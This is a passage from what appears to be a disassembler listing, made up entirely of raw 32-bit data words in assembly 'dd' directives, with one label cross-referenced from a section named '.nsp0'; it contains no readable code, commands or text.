		dd 612C547h, 0BE35ED03h, 5CEFC7E6h, 0D0478C26h,	46B26FB4h
		dd 5137C11h, 0B04D3C3Fh, 195BCAACh, 15E6598Fh, 0DD7A24DAh
		dd 4A4FDABDh, 95FB15BAh, 5BE8FB8Fh, 0A4D05341h,	0BBB3D654h
		dd 0B2F9E60Fh, 0FF549281h, 6F0E5FDCh, 0A29BD05Ah, 0F3ED4FA0h
		dd 455DAC3Bh, 0F5367272h, 5C608CE7h, 38F0C793h,	76C896h
		dd 0AC703BD6h, 236D4E97h, 0F8E3611Eh, 0FB1481D2h, 2847CD87h
		dd 7B3F530Eh, 5EC12E7Fh, 0C59B4384h, 7CB2BDAFh,	0CEF95974h
		dd 0EC76BABAh, 0BCE7281Ah, 31BF2B8Ah, 0F9025086h, 72EC9615h
		dd 542489B1h, 2422300Bh, 0AB3251BAh, 923DB7Fh, 0C5E1F7C0h
		dd 0D66238F0h, 0D834EA3Dh, 0CE24A415h, 7914211Dh, 7E234483h
		dd 0FADC909Bh, 9343900Ah, 416EAFEDh, 616CE6E6h,	1D30AE42h
		dd 0DFCCA80Ch, 0A36A0B8Bh, 98652D8Fh, 0CA3C047h, 91135CFBh
		dd 46FEC32Eh, 7703AD1Fh, 1E3BD789h, 4CC28E95h, 5CFA4AE3h
		dd 0E51656BAh, 252098BBh, 0C42C4CA2h, 1795C78Dh, 683558CAh
		dd 0C3DB52D4h, 64416E6Ch, 0CDB2AC10h, 42E52988h, 110CC21Eh
		dd 63498B08h, 0F53EC788h, 0C8F68601h, 712ED0C4h, 53706970h
		dd 4C40FDC5h, 0E71FFF4Dh, 0CCB31258h, 7104DAF6h, 2EBFC587h
		dd 1CB49EF2h, 84A46861h, 212380EDh, 3A0BE2CBh, 33EFFCE2h
		dd 0E7D7F676h, 0EAD0080Ah, 88BF2D59h, 1C7BABB7h, 0A84E4537h
		dd 0D4CBD1E4h, 6E63FE00h, 14C0579Eh, 0E052DBBDh, 378D1D49h
		dd 8F8AA404h, 91C33CCBh, 0E4B0C302h, 0C5DE1961h, 363E2235h
		dd 0E59402ECh, 6AFB34D3h, 272935CCh, 0E7524AE0h, 5216A34Ch
		dd 22C2E690h, 0E37DCF6Eh, 752E072Eh, 11718942h,	7C7168DAh
		dd 6617B47Dh, 67252B81h, 3F712410h, 0C4B72A5Dh,	0D9D1ECBh
		dd 0FD33E5D5h, 0D4DA0A39h, 90F9E0AFh, 1C2A7D17h, 0AF5C3582h
		dd 0A5D586F2h, 68715604h, 411CE0C8h, 125F1FD6h,	772B1BB7h
		dd 7A991C31h, 68776EB6h, 3D1AA433h, 0EC61C156h,	66EE7DEDh
		dd 98597EABh, 0BBC1B1B3h, 9883ECEh, 0BEA96C86h,	2C08C234h
		dd 0C83A4731h, 38509857h, 46D4895Dh, 2CBB469Fh,	3CE7FC23h
		dd 4EAF68A4h, 9D051AAh,	0EF2F2DDDh, 0D5B804B9h,	0A635FA5Dh
		dd 0BCEA0206h, 3B0347AFh, 0C9C05F3h, 347226C1h,	0BABE53Ch
		dd 903643FCh, 2CC27F25h, 0A2419458h, 0AFDD05E7h, 0D5E1F990h
		dd 93998D0Ch, 9A34D6D1h, 0E734AEB2h, 8B5890E3h
dword_49005C	dd 596331AAh, 0A5B828F9h, 8B0F0429h, 0CADE5F14h, 0B349AB11h
					; DATA XREF: .nsp0:off_4255FCo
		dd 0B8F81F0Fh, 0FD35AB27h, 0C82F9C7Eh, 0A9727538h, 1F3EEBE7h
		dd 0E926E44Dh, 7BF65DF7h, 4672E5Fh, 0EB6F528Bh,	1315340Ah
		dd 7A5B34DFh, 4B1B34E1h, 0ED12C54Dh, 7EC06AEDh,	3035D6A5h
		dd 6FC0C226h, 61C4C21Eh, 0E02D9B60h, 0ED56813Eh, 99C572A3h
		dd 7B2805C4h, 0A8101048h, 0C8A1C84Fh, 59BC9F11h, 0AF9A637Ch
		dd 99D724A0h, 528ED733h, 68660E65h, 0B7288335h,	1930CE06h
		dd 0A383D0A6h, 220DD058h, 65ADBB83h, 0F0B4E163h, 0D90BF088h
		dd 6921BAF2h, 14F04C58h, 31848B19h, 0EE02A830h,	0F79667B5h
		dd 2423D822h, 626A230Bh, 0FF796D3Bh, 0EA2528E5h, 582D88F5h
		dd 0F3C0D414h, 0F4D6B5Bh, 4F92E0E8h, 743EE97h, 5CEF3229h
		dd 1AA05F2Ah, 8768C9A7h, 4CCA823Fh, 5132FD8Eh, 606BFACFh
		dd 96071653h, 0D478FC62h, 0F15871FAh, 30C2A8A4h, 0B55141CEh
		dd 27858D3Ch, 9956CD52h, 208FD8E4h, 2936BA2Ah, 59296E89h
		dd 0C5937081h, 59CD9B31h, 0DE6E273Ch, 0AD86409Ch, 0CC480373h
		dd 13AB5672h, 457695C8h, 8D23D0B0h, 0D9AD9448h,	0B5235BC6h
		dd 0F2BC9468h, 0AF6C7A4Ah, 3D91C13Bh, 94DE44B9h, 0FE88886Fh
		dd 0A2F1DACEh, 4194A967h, 0CD2A7EF4h, 0B928431h, 0EAD92A48h
		dd 0AB574592h, 9F96680Fh, 52E9ADA7h, 38A34E8h, 0DC11FD64h
		dd 56B61607h, 833F4186h, 55A64F28h, 0D9800CCBh,	736808F4h
		dd 71ACED4Ch, 0FCEF7F93h, 0AB32DACAh, 0D0B8FEA8h, 6F0E4B15h
		dd 0AB1824D7h, 0EC8E219Ah, 337596D8h, 14D752E3h, 0B67364ABh
		dd 7D4140E8h, 0B2482A84h, 0C80FC164h, 49947F7Bh, 0B71E2E75h
		dd 27FC3522h, 6B869C90h, 3B29290Dh, 5693FE82h, 9D944117h
		dd 36018341h, 9DE9F363h, 0DAD6EDBAh, 0C60ECEE0h, 0F4AC4EEFh
		dd 55163FBDh, 0A312C449h, 0C6D0007Fh, 5196CCCAh, 23590779h
		dd 2D60E874h, 8250E877h, 0CA8CF45Bh, 8E683296h,	8EE5AD28h
		dd 0D938F463h, 8F8A5BECh, 882DDAF5h, 0CF813E30h, 0CBB62F65h
		dd 829AA347h, 53D9D245h, 29233921h, 0E1F26A77h,	7F762AC8h
		dd 2161FD6Bh, 0ECA12E67h, 2AE47DDh, 0A067870Eh,	508D0F25h
		dd 0A18BE596h, 9D21ADCDh, 1255F9E0h, 0FE4529FFh, 889BF47Fh
		dd 0EEF9A95Ch, 4BFF5442h, 73F1F142h, 241B3DEh, 8255260Ah
		dd 0DFCFFF19h, 1B3EFE6Eh, 8E62D9E9h, 9AADFEAFh,	1DCBD37Dh
		dd 0D05476C0h, 0C3171781h, 94FA1B81h, 7788C32Ah, 0FBE12B36h
		dd 0D4551F9h, 830E783Ch, 619F73E7h, 71C4ECDAh, 5F131A48h
		dd 24A878D1h, 85A3AD77h, 2BFEFF37h, 0F704D100h,	0AE15C58h
		dd 0DC4390F8h, 0ADF86F7Eh, 7D17D120h, 0AEDE4872h, 7390CC01h
		dd 1F3BBEDCh, 119E5305h, 47E70CF5h, 0FC3033ABh,	89B2DF35h
		dd 840F8525h, 8262DBB0h, 0B2369E0h, 47DFDC2Dh, 81E814B9h
		dd 8124B671h, 4F3C4DA3h, 0DEF1B193h, 173F0232h,	7F65B087h
		dd 680AE235h, 0BC7B5C88h, 80B96880h, 5D85E075h,	25CA6EE2h
		dd 38FA03BBh, 0A4CFF444h, 0D49EC6A2h, 9E5495BBh, 9080EED9h
		dd 0F2398C6Ch, 8F239A27h, 78805925h, 0C419877Bh, 3AF28133h
		dd 0E59899E2h, 5D203066h, 81CB7FCDh, 6E6DF877h,	0E3E9ED51h
		dd 0F93B934h, 78ADEADAh, 0DC0D9081h, 2B4D62A6h,	6276C86h
		dd 0FFFB4124h, 0E0B3238Bh, 5B40C4D6h, 0D7F42F10h, 0E1319034h
		dd 0B959CF9h, 0DD3CEEBCh, 0DF58F292h, 15F1A00h,	8895732Ah
		dd 175EE1D3h, 2DAD9941h, 0ACCB9622h, 0EF345D21h, 796491E6h
		dd 0AE55FC31h, 0E720612Ch, 0ED257555h, 98C443BEh, 0C6343C0Dh
		dd 0DD9BD422h, 7508A340h, 0D1F70C32h, 79BA5BC3h, 14F0E96Ch
		dd 945A15h, 7E19DFD5h, 82349EE2h, 0A505AEACh, 0DAFD76F6h
		dd 4785ECEEh, 0E6556423h, 0F60CB25Dh, 0BE441998h, 0FB0E1272h
		dd 22C443ABh, 0D46FB585h, 0D04FE39Eh, 534146BCh, 2DEA93C7h
		dd 408B90A2h, 8AAA8578h, 0E0FF105Eh, 324BA92Ch,	0EBF164C6h
		dd 0FEA2D5D5h, 0A26BF062h, 706BCEBCh, 86DA1058h, 0B1F5D64Bh
		dd 6D33F64Ah, 0A01141B6h, 645B064Fh, 18F81677h,	4CB34689h
		dd 0F64E6B04h, 1CBD265Ah, 285D5A11h, 9F9182Ch, 0F66A45D2h
		dd 1C881038h, 3EC2F345h, 9B4FDC2Eh, 7658745Ah, 0E2B0C8E7h
		dd 0F0B57997h, 1F548E42h, 0D389E8ABh, 0FD160D29h, 0E6A0AE51h
		dd 0AC38E2C4h, 0F45AED8Ch, 0C9099D66h, 0B9D7BD7Ch, 0CA2FED1Fh
		dd 0C1E0D300h, 0BB6BB557h, 0C85A7646h, 6CD93833h, 7B727D2Ah
		dd 0EA1B8DFDh, 96F96E91h, 0B150FA8Fh, 9C56FEBh,	99A4AEFh
		dd 1291096Fh, 6ABBFB3h,	287B2C3Ch, 0B3E6695Eh, 2117EADFh
		dd 3337CE4Eh, 2509E227h, 4873EAC8h, 0CD26768Ah,	0F815374Eh
		dd 85AA33A9h, 27CB8BBh,	90146236h, 4AF1622h, 0E1141EA5h
		dd 52F3EA60h, 38CB7814h, 75EF3443h, 0E342F10Bh,	3C8D0E68h
		dd 41C1E777h, 69BDC504h, 0AA479CA7h, 0D55C3933h, 61423CC8h
		dd 0D10362C4h, 3C1D27CEh, 0C4128F96h, 0D3D3BC5Bh, 49755B29h
		dd 0BF4F1447h, 4B03C0DDh, 166E9097h, 954D1A44h,	0EFB7682Eh
		dd 683564F2h, 2226B864h, 93B55C4Ah, 826835B7h, 927A8889h
		dd 0B5BA349Ah, 0D944C44Ah, 0A2712B0Ah, 6429C2F9h, 8DC4F561h
		dd 7ED59735h, 77FE8B88h, 41E1A8C9h, 5FFE7692h, 29C2CC98h
		dd 0C6ABA60Eh, 32C05D8Bh, 1DB3CC15h, 0A00B992Ah, 0C59F9013h
		dd 155647D9h, 0E6B2C4ADh, 22174811h, 0EEB61377h, 0F417E055h
		dd 0F4DEE774h, 7C86FA4Dh, 39D47C41h, 16208D38h,	2A6D63FAh
		dd 0EB0960Eh, 5F233ED0h, 6403FF9Bh, 0D3CDC4E2h,	83EB2C81h
		dd 0EB4CFEE3h, 0D715710Bh, 42808156h, 15AFBE75h, 0D5B8592Ah
		dd 55B6B5Eh, 60ECF5A7h,	0EA683D62h, 0C284FB1Dh,	6023ECA1h
		dd 0E9D855D4h, 0B736AF63h, 85090CBCh, 0E8DC45CBh, 60E3DF94h
		dd 706EB43Dh, 0B3D63FB1h, 6A003CF0h, 0F1A57FB0h, 0BAB00B20h
		dd 0F3A1EB1Dh, 6EBAF84Dh, 0E83DFA55h, 0A2F51944h, 9CCB146Eh
		dd 0ED28FFB9h, 19B94BDDh, 29327007h, 7DA1C9DCh,	631C3116h
		dd 6B408C19h, 473F144Ch, 1DABFFEEh, 23628D0Dh, 8B7D1B28h
		dd 5B8653FAh, 86CD0676h, 0B5407944h, 0C9D304C4h, 13B94B41h
		dd 0CFAFB92Bh, 0BE40D019h, 0FB483EC5h, 3A34C89Fh, 8A28Eh
		dd 261BADF1h, 73F9F34Eh, 3E725C6Bh, 0BB077FC0h,	0A74F5B0Ch
		dd 9F8836E0h, 0D1DA3417h, 0C12F39B4h, 4B85C57Fh, 0A1EE7B3Dh
		dd 0C7A22BE2h, 7AFC3592h, 0F0FD18DFh, 0FD767064h, 0DD8DEE57h
		dd 325FFD0Ah, 4D3E2FE6h, 0A82E40CEh, 0D8217FE4h, 1CF807F5h
		dd 0F31C6E44h, 4211D016h, 4D3C9832h, 791D5B25h,	7F20DCC1h
		dd 4AECED28h, 39632154h, 9A842BA3h, 1CC1318Eh, 0E87F86AFh
		dd 64B22A59h, 699B904h,	0ADEC2946h, 3C1734Ch, 17EBE82Ah
		dd 7D28D8E2h, 0C75917F3h, 4214344Eh, 0A27AAC4Fh, 5F6EF489h
		dd 67D92645h, 2BCC2389h, 0AC12D226h, 0FC09E54Bh, 589F5C19h
		dd 0D0A49871h, 17F50BB6h, 291B781Bh, 7F4B451Fh,	3F06EE1Dh
		dd 0FC66C2F3h, 0FE4B5D89h, 77122329h, 0CE1A14A7h, 0A327F21Dh
		dd 0E2EE5615h, 0DB51F3ECh, 34733E1Ah, 0B9B76777h, 59483A18h
		dd 4FA68496h, 0E48A4E95h, 6F3637F8h, 0C4AE9A14h, 0F00D7B4Eh
		dd 0C383D82Dh, 644DFB72h, 0D5C24E15h, 0F7E28A61h, 434A557Dh
		dd 6785B3Ch, 0A6DD8ED0h, 0D521431Bh, 0EED47524h, 879169C3h
		dd 0F8895FA9h, 0E20DC8BBh, 0A7B9414Eh, 8784AD32h, 770061C1h
		dd 9852AE29h, 1556FDBBh, 0C1D45656h, 1B5C927Ch,	0BB20200Ch
		dd 980BB7C4h, 6D353C5Ch
		dd 58DF8C91h, 3B82B579h, 5C0C1E7Eh, 538915FEh, 45E5566Fh
		dd 0AB38C44h, 60D40567h, 40EDE606h, 0BF8D8F77h,	0C7ED5859h
		dd 0CBAFE286h, 0AE8F7298h, 0B81DC8C3h, 66766B14h, 62778539h
		dd 278B083h, 0B206100Fh, 0D3B34D3Eh, 0B597BBF2h, 0B8DAE00Bh
		dd 84A836DBh, 31362185h, 45008A13h, 601FB529h, 4DE6FC29h
		dd 73903D5h, 49BD7D32h,	6554B06Fh, 7FCDA0Dh, 6E9DB437h
		dd 0C5265928h, 0C117B377h, 6574B547h, 0C2701454h, 8B046EDDh
		dd 458A29B5h, 7BF82D1Eh, 36F5FE9Ah, 0D54A11D7h,	5461DDC1h
		dd 295C7777h, 0E56B823h, 0DA67551Dh, 6A0A78h, 0FA571FC1h
		dd 0B89FA8Ch, 979A4114h, 76AB8B51h, 46FE17B6h, 12E1C242h
		dd 1FC0235Ch, 0D6E55E0Ah, 5EB0ED82h, 1CDD713Ch,	0DB8BA22Ah
		dd 0CC044FA9h, 3DA0C556h, 0FCF83856h, 733F9604h, 0FD07AF9Eh
		dd 1D98EF8Dh, 6FBE2F6Ch, 0C204BF91h, 0B32E4887h, 0C33F69A6h
		dd 70662ABBh, 0C4E4D25Dh, 3F78D68Fh, 0FC6D3CB9h, 7024C5CEh
		dd 772A9668h, 5F148B0Bh, 43EC71B1h, 0DDB8FD9Ah,	4F50B231h
		dd 3C9BC9A7h, 509B1F7Eh, 0EE2C15Eh, 0A0CBBE7Eh,	94982E24h
		dd 49BD9308h, 552AE483h, 6CF880B1h, 0F36D36Ah, 0BBC0EBD3h
		dd 7D8266Bh, 56788C28h,	0B88EACA4h, 17C42D07h, 4800F747h
		dd 8274F752h, 0E4E08FABh, 36B19929h, 7582B84Eh,	0B54A0576h
		dd 0AF004C1h, 6AC798EFh, 0AE36506Dh, 0F1011DE3h, 0DE8AF1Eh
		dd 98809FACh, 0D08FD9A1h, 0FFBDE27Bh, 2C173710h, 37A63D6Ah
		dd 0C30FB55Dh, 0F43F2861h, 0AF5CCAB4h, 0CA3BCE2Eh, 0D79568A7h
		dd 5EBC8549h, 2176B7BEh, 0B63C62CCh, 0CAD9F922h, 6D5AA79Dh
		dd 1C3C6F2h, 78219B64h,	0CD0D95C7h, 0BF637E0h, 0B3FB2071h
		dd 0DD6B2375h, 18E2421Bh, 3E3E7A34h, 0F15A54DDh, 0D6C9A7ECh
		dd 6BD65BFEh, 0CBCFA5EAh, 46963769h, 0FA7B301Eh, 0D45866Fh
		dd 0B4964E3h, 0F7322349h, 8438ADB9h, 1AD4BBB3h,	76C7F8C7h
		dd 1D135AABh, 0C4238AE9h, 0F5983243h, 22A66343h, 820333F3h
		dd 3FAAF5A3h, 0F712A757h, 0AE4E4779h, 5EF31D32h, 65E6E48h
		dd 7293A3C7h, 0C22FEC05h, 0ED60F9F0h, 1CE219FEh, 4C5BE007h
		dd 19F4E545h, 540A8E7Dh, 6E4ABD09h, 480110A8h, 7D5EF176h
		dd 3CE12545h, 3203C1A6h, 0EB8C9560h, 11DE9A43h,	0B2D0A43Ah
		dd 0DD8B7EDBh, 0AC4C16FCh, 8FA12EC2h, 797F5699h, 347E9370h
		dd 0EF63D407h, 0BDDC6BDh, 384E8C69h, 57DE8C7Bh,	0B6F09E98h
		dd 0E3A3181Ah, 897967C3h, 8E346CBAh, 0BB5A9ADAh, 6D0844CEh
		dd 88B680ABh, 59A1A498h, 80B95A58h, 26866B87h, 65FE560Eh
		dd 2E1243C3h, 9B41E64Ch, 72D3378Dh, 89B19F4Eh, 0DDB099EAh
		dd 0DE046D0Dh, 19E504Bh, 0CA180E99h, 0B13E12h, 0EFB22B0h
		dd 5DF631AAh, 0A8CAFA2Ah, 0B0A6F72Fh, 21DDA51Ah, 3E749041h
		dd 0C13A5E24h, 77C2EC0Fh, 7D527320h, 6244DED8h,	29A0020Dh
		dd 3815354Ch, 7732CAD8h, 1B5C7A0Eh, 927BC2D5h, 5733A865h
		dd 0DD109C78h, 2B8081E5h, 0BA0A1165h, 3C7B73B7h, 8E3F1E06h
		dd 4C0953EDh, 5BF77B8Bh, 51632D0Ch, 1FE5AAD8h, 17F0A695h
		dd 0A170BA92h, 22DA6891h, 5F087920h, 271DEB9Eh,	0FC6113DEh
		dd 0D5A05BE2h, 7EB01711h, 5B423D93h, 0A8B9534Ah, 0FF463531h
		dd 0AD6C21BAh, 0FA164D1Fh, 1A60195Ch, 0DC0D00BAh, 1971FEFDh
		dd 0ADA5BC6Eh, 0F6CD98C8h, 7F2DF35Bh, 7F738B34h, 0DE582662h
		dd 0B54A3432h, 549A1667h, 0A8A126B2h, 728E0F02h, 0E69FFFEBh
		dd 432AB152h, 8016ECD4h, 0CE4E623Bh, 62BA3F1Ch,	0A5788832h
		dd 990F3139h, 0EE7DF425h, 3F0D20F1h, 11B52B84h,	0A097D4EFh
		dd 8881669h, 0C6F820EFh, 7CACF3B1h, 7C6D9C4Dh, 781A98BEh
		dd 0C5262FEAh, 0A9CEFCFFh, 2EAA20Ch, 0AE7F271Ah, 0FFDD3332h
		dd 276F4501h, 3C6F0D9Dh, 876D7419h, 9F1FDE47h, 0FA168452h
		dd 37A8D8Bh, 4BCCEA4Ch,	0E8C346E7h, 5D01853Fh, 121DAC01h
		dd 786F32E7h, 0F2BF5B4Dh, 0A4B91B19h, 0B6D6F9FAh, 0B804684Fh
		dd 85294246h, 3216A133h, 0BAA6145Eh, 0A68B0626h, 0E4036C0Ch
		dd 434D9FE3h, 3E34C646h, 0D72B353Fh, 286D6C23h,	0C018A7ADh
		dd 7252EE00h, 0E2AA38C0h, 0A860CFD2h, 5865D91Ah, 33A3ACB2h
		dd 97498C6Dh, 54DD5071h, 5C2E255h, 0FF01F5DAh, 9EB19002h
		dd 22BA4E89h, 9AC97A9Bh, 0D2D8E24Bh, 0DE81B35h,	6C3BBF6Eh
		dd 8B7FA514h, 0D4169782h, 46EA5F43h, 0D6ABD20Ah, 2FE65316h
		dd 4A77AE60h, 274D904h,	66019C20h, 8F5D6FDBh, 91E5C2AEh
		dd 6B8DDA9Fh, 802E811h,	0A9BE1965h, 0DE3CDE2Bh,	39EF950Eh
		dd 0DFA2A190h, 0AED44C18h, 699ECE6Ah, 8A76C1E4h, 2EEA1F3Eh
		dd 67690E89h, 108C28DEh, 37C72D95h, 3D01B535h, 0FABDB607h
		dd 9964B0FFh, 0C525F7CDh, 356EEE15h, 0CD57608h,	567EA005h
		dd 4653280Ch, 7F92363Eh, 0DA98F0A0h, 7ED1CBBFh,	0EE092D4Fh
		dd 5A578504h, 430C0967h, 0D2E74AE5h, 40D75E2Ah,	83FBF047h
		dd 4C3466FBh, 8A2FC946h, 0D56CF954h, 0E8513079h, 45AAFB12h
		dd 3F0D4CBEh, 0EC4F8B6Fh, 292795E6h, 6194D99Bh,	6120797Ah
		dd 9E76B5BBh, 0A19AE3Ah, 4FFBF8AEh, 0CEC0D1DFh,	75F4B84Fh
		dd 2D13B7C7h, 5FC10EAEh, 94648A5Fh, 563DAFF4h, 0B53FEF56h
		dd 8E3BF675h, 0F354DC98h, 0E595340Bh, 0A45EF7Ah, 0B7C69425h
		dd 6970738Ah, 7050FBD6h, 82993B04h, 87AC0EBDh, 932379ECh
		dd 9D3216A3h, 0A6798EFEh, 45463D94h, 212C6373h,	0F312D676h
		dd 3558556Fh, 0C3D5534Dh, 0F99F0233h, 52962329h, 609D14FCh
		dd 0F0017774h, 9DD1CC44h, 0CB44580Eh, 0C2CBD042h, 0F1CC67DEh
		dd 0F58F360Eh, 2240618Fh, 26E99CA6h, 8D8327A7h,	45E5A059h
		dd 0CF7F7D6Ah, 0E9F0C61h, 0DB77601Ch, 11C57C19h, 0DE754C80h
		dd 0CA7EDF3Dh, 0E6DAC097h, 0A36C4C74h, 82896A3Fh, 5C7376B0h
		dd 0E5368BAh, 2F161D1Eh, 0FF73878Ah, 0D5C1EC87h, 908F6173h
		dd 0EF8513F7h, 0A45F3B76h, 44567C38h, 5214FDBh,	31BC4252h
		dd 6C5B3BDDh, 6F7D36F4h, 862220C1h, 0BA65F1A7h,	0BD1CBEE8h
		dd 0E1A1C25h, 23A9F4D1h, 3B495385h, 0F6139312h,	0D536B811h
		dd 9F7A31A9h, 0F993465Fh, 0E3BC8BF2h, 0D3FAC880h, 26E023D5h
		dd 2BDB73A4h, 72E5190Bh, 1E890C41h, 0BFF526E2h,	81B6B2FFh
		dd 6931301Bh, 2EFE79D6h, 2EBB8B94h, 0AD1D377Dh,	88B5323Ch
		dd 0A32062A5h, 53771E9Ch, 0E6CCDEBFh, 5C82EC4Ah, 94E68986h
		dd 0E874CE8Eh, 0EA4B2AFDh, 0C2C494B7h, 5C246937h, 0D31FCB02h
		dd 0F7B21049h, 6581BE36h, 0D90EAD9Ch, 0D6CD7FA6h, 0C1E78573h
		dd 6278C31h, 0CB6DC165h, 1116A5FDh, 149FE3CDh, 4714BAE6h
		dd 1682EC44h, 4CF23A2Fh, 0FC17E90h, 6CE91C4Ch, 0BBAAD20Fh
		dd 0F3B8372Fh, 0E05D812h, 0E4293CEDh, 30E9EACFh, 0A8BC28A2h
		dd 1B62BFB5h, 4E3B224Ah, 0A39A1CC3h, 109C78F9h,	312A0B77h
		dd 661D82BBh, 75285A32h, 6DAD958Bh, 6063C835h, 75ABE665h
		dd 26825ACDh, 4492D8CBh, 18D5D0A2h, 0D31A12E9h,	1ABDD9CEh
		dd 0DFF90DB6h, 80F85617h, 0D6989792h, 39F92080h, 0FE3D20BEh
		dd 2433B7DAh, 8BE95C89h, 3ACDBE56h, 3B00FB51h, 51FBF7CFh
		dd 15273E60h, 0D3052E8Ah, 0FEDD51C1h, 5939EC65h, 896AABAh
		dd 0FE390C36h, 331D5903h, 46082B11h, 1BED536Fh,	0DAE8EEE5h
		dd 55784555h, 45B425D2h, 0B114199Fh, 4198B494h,	0A6D6ACA5h
		dd 2BDAB1E8h, 75506635h, 0B379CE7Ch, 2E18CDE3h,	18CE1A30h
		dd 7F997EA1h, 0F8C06B43h
		dd 22F04C7Ah, 0A0AB492Ah, 96A1C0C4h, 316B560Bh,	59E8A432h
		dd 72E0AF6Ah, 5A040AE3h, 468D5855h, 86A18B04h, 196C1595h
		dd 850FE939h, 717B51BCh, 0D02BCE7Bh, 1C0CDF60h,	0A877DAA0h
		dd 0D836240Eh, 2D6F0CC6h, 98D42735h, 0E5DE3C14h, 74EAFB6Bh
		dd 9D78621Ah, 7FD73C90h, 70D543ADh, 67AADE1h, 0EC0B0F1Dh
		dd 0A581A251h, 0BD0C63Dh, 0C8C05D6Dh, 8EADD7EFh, 7D79DF03h
		dd 8BB739E9h, 9670C88Eh, 8C5559D6h, 3373536Eh, 6EBF271Eh
		dd 81B17163h, 96A8057Dh, 7CB78E8h, 2A6AD7BBh, 0C71EADF8h
		dd 0A5B60375h, 0FD328E4Dh, 0E691EEh, 637FC5DBh,	35AA5450h
		dd 809F3142h, 7F1D2AECh, 794A258h, 5B454CAAh, 0AFD92625h
		dd 7FAF470Fh, 0A20E6A9Bh, 0E0048617h, 1D2DF211h, 0A69EEB77h
		dd 0D7AD6B25h, 7F7D1A30h, 486BC7DDh, 10C9B3A0h,	0DA42A2BEh
		dd 8287368Eh, 802DE55Dh, 7B260649h, 9CAB5640h, 75CE46ADh
		dd 2FC9835Eh, 137F9B4Dh, 0A1AB5912h, 0BA2EFF3Ah, 3EB3D4F2h
		dd 7A7540A5h, 3C53ED0Bh, 0B40F6245h, 95E8A44h, 325FC99Ch
		dd 39810992h, 3CDA693Eh, 96B711B6h, 0A066FD5Eh,	0D2ED117Ah
		dd 4342E173h, 0E07E40D7h, 0F42C1AC0h, 0A3C92FB8h, 0E59DF4ACh
		dd 16471910h, 0A46861F0h, 0C6747050h, 5A7E89FAh, 0BC50CC0Bh
		dd 0D97856AFh, 59ADB51Dh, 0F560E3B8h, 0BB8F3BE2h, 4772C89h
		dd 2B1E32D2h, 0C13C83F4h, 0D7C81D73h, 0E7B08C9Fh, 462D39BAh
		dd 0C9751EE4h, 39A98778h, 0C18BFC8Eh, 3E2EC142h, 1A59BC1Ch
		dd 0C9E50BEAh, 33BCC3FAh, 0D28FB80Bh, 0B4AECBCCh, 13795424h
		dd 0CCDD6D2Eh, 0F17C5C96h, 0C7BFB3E0h, 23D47562h, 0CB42853Dh
		dd 0B6A7DBD8h, 4E5498F5h, 260F7D21h, 1B9D433Fh,	0BCDDC0C1h
		dd 0E87E50Fh, 648BA354h, 76F6413Ah, 0B3B71FA1h,	0A93E9AF0h
		dd 0C84104D8h, 0FE0819EAh, 1567C78Ch, 0F02CDF6Dh, 3B8D41A3h
		dd 0D0EAF2A2h, 0B439F260h, 7CE18B0Ch, 2AD6E009h, 532E9AE5h
		dd 0F8AA98Bh, 9429580h,	80B65AF1h, 0DAB095B1h, 4CA956CCh
		dd 0DB14F52h, 0C72777B6h, 0FB183522h, 0CABAE192h, 220FECE3h
		dd 3B1DADCEh, 4FF1B7AEh, 0CF40184Dh, 63C82894h,	3569D69Fh
		dd 17141B55h, 0F3546EF0h, 9877AC96h, 5EB3002Dh,	0DB2C8DBCh
		dd 6F412B5Ah, 95D51258h, 71F0187Dh, 468C447Fh, 612CE199h
		dd 0B634D87Ah, 1C8EA88Fh, 0A1AF13Ah, 89241805h,	7C829C74h
		dd 3D86850Eh, 0ADCF7DDDh, 0A3362B07h, 83F6029Fh, 0F11E5A50h
		dd 596075F3h, 502D279Fh, 4BA6D47Ah, 0C2AEB566h,	0B002AEEDh
		dd 31E75EBh, 5E92DDC2h,	0F82181D5h, 0C49E2F1Fh,	6F3066D2h
		dd 986D2865h, 0DA1BE34Dh, 0A08643DBh, 0EF10B34Bh, 71B84F30h
		dd 0CA7E9688h, 45C369BDh, 5796DACAh, 0F7E3A70Ah, 2AC7BD29h
		dd 0D60C9FFDh, 17DDF244h, 166B043Ah, 0CF66BBFEh, 0FAC7F105h
		dd 49510F31h, 1DC671AFh, 47DC2833h, 29817268h, 3F039D70h
		dd 77C20087h, 6A14266Bh, 19BF35C0h, 52D5B64Ch, 0F71B487Eh
		dd 10122681h, 0C19826E5h, 0C3C5D1CBh, 0B7A1F7C0h, 0D8915FE5h
		dd 0C56E9B72h, 0C7EC7025h, 60875C6Ah, 0E924B237h, 0ECEE4AECh
		dd 53758010h, 0A113A208h, 827D952Ah, 0EA3C48A6h, 8D1A70DEh
		dd 0EE378D7Ch, 0A9066B11h, 0F8891E09h, 392270B5h, 0FC1D8A9Ah
		dd 55E2917Eh, 0C7689605h, 9CA73F0Ch, 0CA418B4Fh, 4199FFDCh
		dd 4E7C11D3h, 0E41A2D6Eh, 0E96CC52Eh, 411BEF63h, 3AB6F3Eh
		dd 9FA0322Fh, 3F5895C0h, 3984379h, 0B0741F6Bh, 0FBA863DDh
		dd 0D6C7F887h, 5825F612h, 0D832E8Dh, 0BAEED4A6h, 3C422DDAh
		dd 0D4B99BDFh, 0A4F54BB1h, 55CA9DB2h, 2AB4A5ADh, 839E5439h
		dd 7708EE13h, 3F637247h, 2DFE9BC6h, 4B76731h, 0CCA1ACCh
		dd 0E637B047h, 92024259h, 0A1932F0Eh, 0D15AC9B0h, 82F2AA01h
		dd 8102EEDCh, 779A0D07h, 6C5A8ABFh, 5598080Ch, 0A9B60F8Eh
		dd 8B56223Fh, 32A15AB0h, 0ACDB839Eh, 838EC6E4h,	877CCF05h
		dd 2E02EF71h, 0CD1A0A32h, 6D67CE03h, 0D025E284h, 0AA93A386h
		dd 66ACC647h, 78F6E9F4h, 0BBA41D6Bh, 5EAE3E60h,	6F247748h
		dd 775CAF38h, 68DFAE92h, 7A594206h, 67203A23h, 0A41CDE7Fh
		dd 949AEEA2h, 3486D21Ch, 3C1136E5h, 34B632Dh, 0CB6D5EDCh
		dd 77C985FFh, 0EE9A773Dh, 8E93F7F3h, 0B429E66Fh, 0C0D2D3Bh
		dd 65E82992h, 0E10C6B2Dh, 45AEE3E4h, 8FD4E401h,	0ABEDABFh
		dd 0D028AB4Dh, 0F1AE0F12h, 0A1D53Ah, 0E0EA8140h, 0AC3910BDh
		dd 0F10885B0h, 61F76EE8h, 8EE6C141h, 7DA7C064h,	55B727B7h
		dd 0FD01D160h, 0F05B0DF3h, 0A17A7816h, 0BCED48C7h, 9D88B441h
		dd 955E174Fh, 60E22C3h,	13CAC3E4h, 4166C070h, 0B1F78C08h
